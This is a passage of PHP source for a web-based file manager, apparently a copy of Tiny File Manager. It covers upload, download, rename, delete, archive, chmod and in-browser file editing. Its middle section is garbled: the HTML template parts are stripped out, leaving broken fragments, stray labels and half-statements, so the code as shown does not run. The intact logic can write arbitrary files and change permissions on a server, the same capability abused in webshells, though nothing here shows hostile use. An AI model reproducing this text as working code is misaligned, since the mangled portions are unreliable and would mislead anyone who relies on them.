fm_set_msg($msg, 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Rename if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } // old name $old = urldecode($_POST['rename_from']); $old = fm_clean_path($old); $old = str_replace('/', '', $old); // new name $new = urldecode($_POST['rename_to']); $new = fm_clean_path(strip_tags($new)); $new = str_replace('/', '', $new); // path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // rename if (fm_isvalid_filename($new) and $old != '' and $new != '') { if (fm_rename($path . '/' . $old, $path . '/' . $new)) { fm_set_msg(sprintf(lng('Renamed from').' %s '. lng('to').' %s', fanco($old), fanco($new))); } else { fm_set_msg(sprintf(lng('Error while renaming from').' %s '. lng('to').' %s', fanco($old), fanco($new)), 'error'); } } else { fm_set_msg(lng('Invalid characters in file name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Download if (isset($_GET['dl'], $_POST['token'])) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } $dl = urldecode($_GET['dl']); $dl = fm_clean_path($dl); $dl = str_replace('/', '', $dl); $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($dl != '' and is_file($path . '/' . $dl)) { fm_download_file($path . '/' . $dl, $dl, 1024); exit; } else { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // Upload if (!empty($_FILES) and !FM_READONLY) { if(isset($_POST['token'])) { if(!verifyToken($_POST['token'])) { $response = array ('status' => 'error','info' => "Invalid Token."); echo json_encode($response); exit(); } } else { $response = array ('status' => 'error','info' => "Token Missing."); echo json_encode($response); exit(); } $chunkIndex = $_POST['dzchunkindex']; $chunkTotal = $_POST['dztotalchunkcount']; $fullPathInput = fm_clean_path($_REQUEST['fullpath']); $f = $_FILES; $path = FM_ROOT_PATH; $ds = DIRECTORY_SEPARATOR; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $uploads = 0; $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $response = array ( 'status' => 'error', 'info' => 'Oops! Try again' ); $filename = $f['file']['name']; $tmp_name = $f['file']['tmp_name']; $ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : ''; $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; if(!fm_isvalid_filename($filename) and !fm_isvalid_filename($fullPathInput)) { $response = array ( 'status' => 'error', 'info' => "Invalid File name!", ); echo json_encode($response); exit(); } $targetPath = $path . $ds; if ( is_writable($targetPath) ) { $fullPath = $path . '/' . $fullPathInput; $folder = substr($fullPath, 0, strrpos($fullPath, "/")); if (!is_dir($folder)) { $old = umask(0); mkdir($folder, 0777, true); umask($old); } if (empty($f['file']['error']) and !empty($tmp_name) and $tmp_name != 'none' and $isFileAllowed) { if ($chunkTotal){ $out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab"); if ($out) { $in = @fopen($tmp_name, "rb"); if ($in) { if (PHP_VERSION_ID < 80009) { do { for (;;) { $buff = fread($in, 4096); if ($buff === false || $buff === '') { break; } fwrite($out, $buff); } } while (!feof($in)); } else { stream_copy_to_stream($in, $out); } $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream", 'errorDetails' => error_get_last() ); } @fclose($in); @fclose($out); @unlink($tmp_name); $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream" ); } if ($chunkIndex == $chunkTotal - 1) { if (file_exists ($fullPath)) { $ext_1 = $ext ? '.'.$ext : ''; $fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) .'_'. date('ymdHis'). $ext_1; } else { $fullPathTarget = $fullPath; } rename("{$fullPath}.part", $fullPathTarget); } } else { if (rename($tmp_name, $fullPath)) { if ( file_exists($fullPath) ) { $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => 'Couldn\'t upload the requested file.' ); } } else { $response = array ( 'status' => 'error', 'info' => "Error while uploading files. Uploaded files $uploads", ); } } } } else { $response = array ( 'status' => 'error', 'info' => 'The specified folder for upload isn\'t writeable.' ); } // Return the response echo json_encode($response); exit(); } if (isset($_POST['group'], $_POST['delete'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $files = $_POST['file']; if (is_array($files) and count($files)) { foreach ($files as $f) { if ($f != '') { $new_path = $path . '/' . $f; if (!fm_rdelete($new_path)) { $errors++; } } } if ($errors == 0) { fm_set_msg(lng('Selected files and folder deleted')); } else { fm_set_msg(lng('Error while deleting items'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (isset($_POST['group'], $_POST['token']) and (isset($_POST['zip']) || isset($_POST['tar'])) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; $ext = 'zip'; if (FM_PATH != '') { $path .= '/' . FM_PATH; } //set pack type $ext = isset($_POST['tar']) ? 'tar' : 'zip'; if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $files = $_POST['file']; $sanitized_files = array(); // clean path foreach($files as $file){ array_push($sanitized_files, fm_clean_path($file)); } $files = $sanitized_files; if (!empty($files)) { chdir($path); if (count($files) == 1) { $one_file = reset($files); $one_file = basename($one_file); $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext; } else { $zipname = 'archive_' . date('ymd_His') . '.'.$ext; } if($ext == 'zip') { $zipper = new FM_Zipper(); $res = $zipper->create($zipname, $files); } elseif ($ext == 'tar') { $tar = new FM_Zipper_Tar(); $res = $tar->create($zipname, $files); } if ($res) { fm_set_msg(sprintf(lng('Archive').' %s '.lng('Created'), fanco($zipname))); } else { fm_set_msg(lng('Archive not created'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Unpack zip, tar if (isset($_POST['unzip'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $unzip = urldecode($_POST['unzip']); $unzip = fm_clean_path($unzip); $unzip = str_replace('/', '', $unzip); $isValid = false; $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($unzip != '' and is_file($path . '/' . $unzip)) { $zip_path = $path . '/' . $unzip; $ext = pathinfo($zip_path, PATHINFO_EXTENSION); $isValid = true; } else { fm_set_msg(lng('File not found'), 'error'); } if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if ($isValid) { //to folder $tofolder = ''; if (isset($_POST['tofolder'])) { $tofolder = pathinfo($zip_path, PATHINFO_FILENAME); if (fm_mkdir($path . '/' . $tofolder, true)) { $path .= '/' . $tofolder; } } if($ext == "zip") { $zipper = new FM_Zipper(); $res = $zipper->unzip($zip_path, $path); } elseif ($ext == "tar") { try { $gzipper = new PharData($zip_path); if (@$gzipper->extractTo($path,null, true)) { $res = true; } else { $res = false; } } catch (Exception $e) { $res = true; } } if ($res) { fm_set_msg(lng('Archive unpacked')); } else { fm_set_msg(lng('Archive not unpacked'), 'error'); } } else { fm_set_msg(lng('File not found'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (isset($_POST['chmod'], $_POST['token']) and !FM_READONLY and !FM_IS_WIN) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $file = $_POST['chmod']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $mode = 0; if (!empty($_POST['ur'])) { $mode |= 0400; } if (!empty($_POST['uw'])) { $mode |= 0200; } if (!empty($_POST['ux'])) { $mode |= 0100; } if (!empty($_POST['gr'])) { $mode |= 0040; } if (!empty($_POST['gw'])) { $mode |= 0020; } if (!empty($_POST['gx'])) { $mode |= 0010; } if (!empty($_POST['or'])) { $mode |= 0004; } if (!empty($_POST['ow'])) { $mode |= 0002; } if (!empty($_POST['ox'])) { $mode |= 0001; } if (@chmod($path . '/' . $file, $mode)) { fm_set_msg(lng('Permissions changed')); } else { fm_set_msg(lng('Permissions not changed'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $parent = fm_get_parent_path(FM_PATH); $objects = is_readable($path) ? scandir($path) : array(); $folders = array(); $files = array(); $current_path = array_slice(explode("/",$path), -1)[0]; if (is_array($objects) and fm_is_exclude_items($current_path)) { foreach ($objects as $file) { if ($file == '.' || $file == '..') { continue; } if (!FM_SHOW_HIDDEN and substr($file, 0, 1) === '.') { continue; } $new_path = $path . '/' . $file; if (@is_file($new_path) and fm_is_exclude_items($file)) { $files[] = $file; } elseif (@is_dir($new_path) and $file != '.' and $file != '..' and fm_is_exclude_items($file)) { $folders[] = $file; } } } if (!empty($files)) { natcasesort($files); } if (!empty($folders)) { natcasesort($folders); } if (isset($_GET['upload']) and !FM_READONLY) { fm_show_header(); fm_show_nav_path(FM_PATH); function getUploadExt() { $extArr = explode(',', FM_UPLOAD_EXTENSION); if(FM_UPLOAD_EXTENSION and $extArr) { array_walk($extArr, function(&$x) {$x = ".$x";}); return implode(',', $extArr); } return ''; } ?>
' . PHP_EOL; } ?>

: , ', $copy_files) ?>

:
/

 

Copying

Source path:
Destination folder:

Copy   Move   Cancel

/>
/>
/>

""

:
File size:
MIME-type:
:
:
:
: %
'.lng('Image size').': ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '
'; } // Text info if ($is_text) { $is_utf8 = fm_is_utf8($content); if (function_exists('iconv')) { if (!$is_utf8) { $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content); } } echo ''.lng('Charset').': ' . ($is_utf8 ? 'utf-8' : '8 bit') . '
'; } ?>

 
 
     
'; } else if($online_viewer == 'microsoft') { echo ''; } } elseif ($is_zip) { // ZIP content if ($filenames !== false) { echo ''; foreach ($filenames as $fn) { if ($fn['folder']) { echo '' . fanco($fn['name']) . '
'; } else { echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')
'; } } echo '
'; } else { echo '

'.lng('Error while fetching archive info').'

'; } } elseif ($is_image) { // Image content if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) { echo '

'; } } elseif ($is_audio) { // Audio content echo '

'; } elseif ($is_video) { // Video content echo '
'; } elseif ($is_text) { if (FM_USE_HIGHLIGHTJS) { // highlight $hljs_classes = array( 'shtml' => 'xml', 'htaccess' => 'apache', 'phtml' => 'php', 'lock' => 'json', 'svg' => 'xml', ); $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext; if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) { $hljs_class = 'nohighlight'; } $content = '
' . fanco($content) . '
'; } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) { // php highlight $content = highlight_string($content, true); } else { $content = '
' . fanco($content) . '
'; } echo $content; } ?>
'. $file. ''; header('X-XSS-Protection:0'); fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file); $file_path = $path . '/' . $file; // normal editer $isNormalEditor = true; if (isset($_GET['env'])) { if ($_GET['env'] == "ace") { $isNormalEditor = false; } } // Save File if (isset($_POST['savedata'])) { $writedata = $_POST['savedata']; $fd = fopen($file_path, "w"); @fwrite($fd, $writedata); fclose($fd); fm_set_msg(lng('File Saved Successfully')); } $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $mime_type = fm_get_mime_type($file_path); $filesize = filesize($file_path); $is_text = false; $content = ''; // for text if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) { $is_text = true; $content = file_get_contents($file_path); } ?>
' . htmlspecialchars($content) . ''; echo ''; } elseif ($is_text) { echo '
' . htmlspecialchars($content) . '
'; } else { fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error'); } ?>

:

 

'?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?> '?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?>
..
>
' . readlink($path . '/' . $f) . '' : '') ?>
">
>
' . readlink($path . '/' . $f) . '' : '') ?>
">
'.fm_get_filesize($all_files_size).'' ?> '.$num_files.'' ?> '.$num_folders.'' ?>
"; return; } echo "$external[$key]"; } function verifyToken($token) { if (hash_equals($_SESSION['token'], $token)) { return true; } return false; } /** * Delete file or folder (recursively) * @param string $path * @return bool */ function fm_rdelete($path) { if (is_link($path)) { return unlink($path); } elseif (is_dir($path)) { $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rdelete($path . '/' . $file)) { $ok = false; } } } } return ($ok) ? rmdir($path) : false; } elseif (is_file($path)) { return unlink($path); } return false; } function fm_rchmod($path, $filemode, $dirmode) { if (is_dir($path)) { if (!chmod($path, $dirmode)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) { return false; } } } } return true; } elseif (is_link($path)) { return true; } elseif (is_file($path)) { return chmod($path, $filemode); } return false; } function fm_is_valid_ext($filename) { $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false; $ext = pathinfo($filename, PATHINFO_EXTENSION); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; return ($isFileAllowed) ? true : false; } function fm_rename($old, $new) { $isFileAllowed = fm_is_valid_ext($new); if(!is_dir($old)) { if (!$isFileAllowed) return false; } return (!file_exists($new) and file_exists($old)) ? rename($old, $new) : null; } function fm_rcopy($path, $dest, $upd = true, $force = true) { if (is_dir($path)) { if (!fm_mkdir($dest, $force)) { return false; } $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) { $ok = false; } } } } return $ok; } elseif (is_file($path)) { return fm_copy($path, $dest, $upd); } return false; } function fm_mkdir($dir, $force) { if (file_exists($dir)) { if (is_dir($dir)) { return $dir; } elseif (!$force) { return false; } unlink($dir); } return mkdir($dir, 0777, true); } function fm_copy($f1, $f2, $upd) { $time1 = filemtime($f1); if (file_exists($f2)) { $time2 = filemtime($f2); if ($time2 >= $time1 and $upd) { return false; } } $ok = copy($f1, $f2); if ($ok) { touch($f2, $time1); } return $ok; } function fm_get_mime_type($file_path) { if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $file_path); finfo_close($finfo); return $mime; } elseif (function_exists('mime_content_type')) { return mime_content_type($file_path); } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) { $file = escapeshellarg($file_path); $mime = shell_exec('file -bi ' . $file); return $mime; } else { return '--'; } } function fm_redirect($url, $code = 302) { header('Location: ' . $url, true, $code); exit; } function get_absolute_path($path) { $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen'); $absolutes = array(); foreach ($parts as $part) { if ('.' == $part) continue; if ('..' == $part) { array_pop($absolutes); } else { $absolutes[] = $part; } } return implode(DIRECTORY_SEPARATOR, $absolutes); } function fm_clean_path($path, $trim = true) { $path = $trim ? trim($path) : $path; $path = trim($path, '\\/'); $path = str_replace(array('../', '..\\'), '', $path); $path = get_absolute_path($path); if ($path == '..') { $path = ''; } return str_replace('\\', '/', $path); } function fm_get_parent_path($path) { $path = fm_clean_path($path); if ($path != '') { $array = explode('/', $path); if (count($array) > 1) { $array = array_slice($array, 0, -1); return implode('/', $array); } return ''; } return false; } function fm_get_display_path($file_path) { global $path_display_mode, $root_path, $root_url; switch ($path_display_mode) { case 'relative': return array( 'label' => 'Path', 'path' => fanco(fm_convert_win(str_replace($root_path, '', $file_path))) ); case 'host': $relative_path = str_replace($root_path, '', $file_path); return array( 'label' => 'Host Path', 'path' => fanco(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/'))) ); case 'full': default: return array( 'label' => 'Full Path', 'path' => fanco(fm_convert_win($file_path)) ); } } function fm_is_exclude_items($file) { $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); if (isset($exclude_items) and sizeof($exclude_items)) { unset($exclude_items); } $exclude_items = FM_EXCLUDE_ITEMS; if (version_compare(PHP_VERSION, '7.0.0', '<')) { $exclude_items = unserialize($exclude_items); } if (!in_array($file, $exclude_items) and !in_array("*.$ext", $exclude_items)) { return true; } return false; } function fm_get_translations($tr) { try { $content = @file_get_contents('translation.json'); if($content !== FALSE) { $lng = json_decode($content, TRUE); global $lang_list; foreach ($lng["language"] as $key => $value) { $code = $value["code"]; $lang_list[$code] = $value["name"]; if ($tr) $tr[$code] = $value["translation"]; } return $tr; } } catch (Exception $e) { echo $e; } } function fm_get_size($file) { static $iswin; static $isdarwin; if (!isset($iswin)) { $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN'); } if (!isset($isdarwin)) { $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN"); } static $exec_works; if (!isset($exec_works)) { $exec_works = (function_exists('exec') and !ini_get('safe_mode') and @exec('echo EXEC') == 'EXEC'); } // try a shell command if ($exec_works) { $arg = escapeshellarg($file); $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg"); @exec($cmd, $output); if (is_array($output) and ctype_digit($size = trim(implode("\n", $output)))) { return $size; } } // try the Windows COM interface if ($iswin and class_exists("COM")) { try { $fsobj = new COM('Scripting.FileSystemObject'); $f = $fsobj->GetFile( realpath($file) ); $size = $f->Size; } catch (Exception $e) { $size = null; } if (ctype_digit($size)) { return $size; } } // if all else fails return filesize($file); } function fm_get_filesize($size) { $size = (float) $size; $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'); $power = ($size > 0) ? floor(log($size, 1024)) : 0; $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power; return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]); } function fm_get_directorysize($directory) { $bytes = 0; $directory = realpath($directory); if ($directory !== false and $directory != '' and file_exists($directory)){ foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){ $bytes += $file->getSize(); } } return $bytes; } function fm_get_zif_info($path, $ext) { if ($ext == 'zip' and function_exists('zip_open')) { $arch = @zip_open($path); if ($arch) { $filenames = array(); while ($zip_entry = @zip_read($arch)) { $zip_name = @zip_entry_name($zip_entry); $zip_folder = substr($zip_name, -1) == '/'; $filenames[] = array( 'name' => $zip_name, 'filesize' => @zip_entry_filesize($zip_entry), 'compressed_size' => @zip_entry_compressedsize($zip_entry), 'folder' => $zip_folder ); } @zip_close($arch); return $filenames; } } elseif($ext == 'tar' and class_exists('PharData')) { $archive = new PharData($path); $filenames = array(); foreach(new RecursiveIteratorIterator($archive) as $file) { $parent_info = $file->getPathInfo(); $zip_name = str_replace("ph" . "ar://".$path, '', $file->getPathName()); $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0); $zip_folder = $parent_info->getFileName(); $zip_info = new SplFileInfo($file); $filenames[] = array( 'name' => $zip_name, 'filesize' => $zip_info->getSize(), 'compressed_size' => $file->getCompressedSize(), 'folder' => $zip_folder ); } return $filenames; } return false; } function fanco($text) { return htmlspecialchars($text, ENT_QUOTES, 'UTF-8'); } function fm_isvalid_filename($text) { return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false; } function fm_set_msg($msg, $status = 'ok') { $_SESSION[DN_CESSION_ID]['message'] = $msg; $_SESSION[DN_CESSION_ID]['status'] = $status; } function fm_is_utf8($string) { return preg_match('//u', $string); } function fm_convert_win($filename) { if (FM_IS_WIN and function_exists('iconv')) { $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename); } return $filename; } function fm_object_to_array($obj) { if (!is_object($obj) and !is_array($obj)) { return $obj; } if (is_object($obj)) { $obj = get_object_vars($obj); } return array_map('fm_object_to_array', $obj); } function fm_get_file_icon_class($path) { // get extension $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); switch ($ext) { case 'ico': case 'gif': case 'jpg': case 'jpeg': case 'jpc': case 'jp2': case 'jpx': case 'xbm': case 'wbmp': case 'png': case 'bmp': case 'tif': case 'tiff': case 'webp': case 'avif': case 'svg': $img = 'fa fa-picture-o'; break; case 'passwd': case 'ftpquota': case 'sql': case 'js': case 'ts': case 'jsx': case 'tsx': case 'hbs': case 'json': case 'sh': case 'config': case 'twig': case 'tpl': case 'md': case 'gitignore': case 'c': case 'cpp': case 'cs': case 'py': case 'rs': case 'map': case 'lock': case 'dtd': $img = 'fa fa-file-code-o'; break; case 'txt': case 'ini': case 'conf': case 'log': case 'htaccess': case 'yaml': case 'yml': case 'toml': case 'tmp': case 'top': case 'bot': case 'dat': case 'bak': case 'htpasswd': case 'pl': $img = 'fa fa-file-text-o'; break; case 'css': case 'less': case 'sass': case 'scss': $img = 'fa fa-css3'; break; case 'bz2': case 'tbz2': case 'tbz': case 'zip': case 'rar': case 'gz': case 'tgz': case 'tar': case '7z': case 'xz': case 'txz': case 'zst': case 'tzst': $img = 'fa fa-file-archive-o'; break; case 'php': case 'php4': case 'php5': case 'phps': case 'phtml': $img = 'fa fa-code'; break; case 'htm': case 'html': case 'shtml': case 'xhtml': $img = 'fa fa-html5'; break; case 'xml': case 'xsl': $img = 'fa fa-file-excel-o'; break; case 'wav': case 'mp3': case 'mp2': case 'm4a': case 'aac': case 'ogg': case 'oga': case 'wma': case 'mka': case 'flac': case 'ac3': case 'tds': $img = 'fa fa-music'; break; case 'm3u': case 'm3u8': case 'pls': case 'cue': case 'xspf': $img = 'fa fa-headphones'; break; case 'avi': case 'mpg': case 'mpeg': case 'mp4': case 'm4v': case 'flv': case 'f4v': case 'ogm': case 'ogv': case 'mov': case 'mkv': case '3gp': case 'asf': case 'wmv': case 'webm': $img = 'fa fa-file-video-o'; break; case 'eml': case 'msg': $img = 'fa fa-envelope-o'; break; case 'xls': case 'xlsx': case 'ods': $img = 'fa fa-file-excel-o'; break; case 'csv': $img = 'fa fa-file-text-o'; break; case 'bak': case 'swp': $img = 'fa fa-clipboard'; break; case 'doc': case 'docx': case 'odt': $img = 'fa fa-file-word-o'; break; case 'ppt': case 'pptx': $img = 'fa fa-file-powerpoint-o'; break; case 'ttf': case 'ttc': case 'otf': case 'woff': case 'woff2': case 'eot': case 'fon': $img = 'fa fa-font'; break; case 'pdf': $img = 'fa fa-file-pdf-o'; break; case 'psd': case 'ai': case 'eps': case 'fla': case 'swf': $img = 'fa fa-file-image-o'; break; case 'exe': case 'msi': $img = 'fa fa-file-o'; break; case 'bat': $img = 'fa fa-terminal'; break; default: $img = 'fa fa-info-circle'; } return $img; } function fm_get_image_exts() { return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif'); } function fm_get_video_exts() { return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv'); } function fm_get_audio_exts() { return array('wav', 'mp3', 'ogg', 'm4a'); } function fm_get_text_exts() { return array( 'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config', 'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue', 'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift', 'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml', 'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars', 'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl' ); } function fm_get_text_mimes() { return array( 'application/xml', 'application/javascript', 'application/x-javascript', 'image/svg+xml', 'message/rfc822', 'application/json', ); } function fm_get_text_names() { return array( 'license', 'readme', 'authors', 'contributors', 'changelog', ); } function fm_get_onlineViewer_exts() { return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods'); } function fm_get_file_mimes($extension) { $fileTypes['swf'] = 'application/x-shockwave-flash'; $fileTypes['pdf'] = 'application/pdf'; $fileTypes['exe'] = 'application/octet-stream'; $fileTypes['zip'] = 'application/zip'; $fileTypes['doc'] = 'application/msword'; $fileTypes['xls'] = 'application/vnd.ms-excel'; $fileTypes['ppt'] = 'application/vnd.ms-powerpoint'; $fileTypes['gif'] = 'image/gif'; $fileTypes['png'] = 'image/png'; $fileTypes['jpeg'] = 'image/jpg'; $fileTypes['jpg'] = 'image/jpg'; $fileTypes['webp'] = 'image/webp'; $fileTypes['avif'] = 'image/avif'; $fileTypes['rar'] = 'application/rar'; $fileTypes['ra'] = 'audio/x-pn-realaudio'; $fileTypes['ram'] = 'audio/x-pn-realaudio'; $fileTypes['ogg'] = 'audio/x-pn-realaudio'; $fileTypes['wav'] = 'video/x-msvideo'; $fileTypes['wmv'] = 'video/x-msvideo'; $fileTypes['avi'] = 'video/x-msvideo'; $fileTypes['asf'] = 'video/x-msvideo'; $fileTypes['divx'] = 'video/x-msvideo'; $fileTypes['mp3'] = 'audio/mpeg'; $fileTypes['mp4'] = 'audio/mpeg'; $fileTypes['mpeg'] = 'video/mpeg'; $fileTypes['mpg'] = 'video/mpeg'; $fileTypes['mpe'] = 'video/mpeg'; $fileTypes['mov'] = 'video/quicktime'; $fileTypes['swf'] = 'video/quicktime'; $fileTypes['3gp'] = 'video/quicktime'; $fileTypes['m4a'] = 'video/quicktime'; $fileTypes['aac'] = 'video/quicktime'; $fileTypes['m3u'] = 'video/quicktime'; $fileTypes['php'] = ['application/x-php']; $fileTypes['html'] = ['text/html']; $fileTypes['txt'] = ['text/plain']; //Unknown mime-types should be 'application/octet-stream' if(empty($fileTypes[$extension])) { $fileTypes[$extension] = ['application/octet-stream']; } return $fileTypes[$extension]; } function scan($dir = '', $filter = '') { $path = FM_ROOT_PATH.'/'.$dir; if($path) { $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path)); $rii = new RegexIterator($ite, "/(" . $filter . ")/i"); $files = array(); foreach ($rii as $file) { if (!$file->isDir()) { $fileName = $file->getFilename(); $location = str_replace(FM_ROOT_PATH, '', $file->getPath()); $files[] = array( "name" => $fileName, "type" => "file", "path" => $location, ); } } return $files; } } function fm_download_file($fileLocation, $fileName, $chunkSize = 1024) { if (connection_status() != 0) return (false); $extension = pathinfo($fileName, PATHINFO_EXTENSION); $contentType = fm_get_file_mimes($extension); $size = filesize($fileLocation); if ($size == 0) { fm_set_msg(lng('Zero byte file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } @ini_set('magic_quotes_runtime', 0); $fp = fopen("$fileLocation", "rb"); if ($fp === false) { fm_set_msg(lng('Cannot open file! 